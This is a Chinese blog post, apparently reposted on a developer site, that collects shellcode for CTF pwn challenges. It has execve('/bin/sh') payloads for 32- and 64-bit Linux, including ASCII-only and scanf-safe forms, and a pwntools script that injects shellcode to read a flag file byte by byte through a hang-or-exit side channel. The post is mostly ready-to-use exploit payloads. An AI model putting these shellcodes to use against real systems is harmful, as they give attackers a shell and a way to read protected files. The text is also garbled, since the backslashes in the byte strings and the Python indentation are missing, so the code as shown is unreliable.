我是靠谱客的博主 烂漫小兔子,最近开发中收集的这篇文章主要介绍pwn题shellcode收集shellcode --> execveshellcode --> cmp flag byte总结,觉得挺不错的,现在分享给大家,希望可以做个参考。
概述
Write Up
- shellcode --> execve
- shellcode --> cmp flag byte
- 总结
shellcode --> execve
这里对pwn中使用到的shellcode做了一个汇总,方便大家参考和使用。
# 32位 短字节shellcode --> 21字节
x6ax0bx58x99x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9xcdx80
# 32位 纯ascii字符shellcode
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
# 32位 scanf可读取的shellcode
xebx1bx5ex89xf3x89xf7x83xc7x07x29xc0xaax89xf9x89xf0xabx89xfax29xc0xabxb0x08x04x03xcdx80xe8xe0xffxffxff/bin/sh
# 64位 scanf可读取的shellcode 22字节
x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fxb0x3bx99x0fx05
# 64位 较短的shellcode 23字节
x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fx6ax3bx58x99x0fx05
# 64位 纯ascii字符shellcode
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
shellcode --> cmp flag byte
下面的代码是在无法输出flag时,尝试用shellcode实现一个爆破逻辑,当flag的字符与我们猜想的字符一致时代码将会陷入循环,如此来爆破flag。
from pwn import *
import string
# # 这里的pwn只是为了演示流程,具体逻辑还得看题目
def pwn(p, index, ch):
code = "push 0x67616c66; mov rdi, rsp; mov rsi, 0x0; mov rax, 0x2; syscall;" # open
code += "mov rdi, 0x3; mov rsi, rsp; mov rdx, 0x30; mov rax, 0x0; syscall;" # read
code += "cmp byte ptr[rsi+{}], {}; jz loop;".format(index, ch) # cmp
code += "xor edi, edi; mov rax, 60; syscall; loop: jmp loop;" # 等则进入死循环,否则exit(0)
code = b"x90"*20+asm(code) # 前面加了x90滑板
p.send(code)
def main():
flag = ""
flag_str = string.printable
for offset in range(0x30):
index = 0
while True:
p = process("./babystack")
try:
ch = flag_str[index]
print(">>>>>>>>>>> test ch {}".format(ch))
pwn(p, offset, ord(flag_str[index]))
p.recv(timeout=1)
flag += ch
print(">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> find flag: ", flag)
p.close()
index += 1
break
except Exception as e:
# 捕获p.recv产生的错误
print("="*10)
print(e)
print("="*10)
try:
p.close()
index += 1
except Exception as e:
# 捕获p.close产生的错误
print("="*10)
print(e)
print("="*10)
continue
if flag[-1] == "}":
# 判断flag是否已经结束
break
main()
总结
不忘初心,砥砺前行!
最后
以上就是烂漫小兔子为你收集整理的pwn题shellcode收集shellcode --> execveshellcode --> cmp flag byte总结的全部内容,希望文章能够帮你解决pwn题shellcode收集shellcode --> execveshellcode --> cmp flag byte总结所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复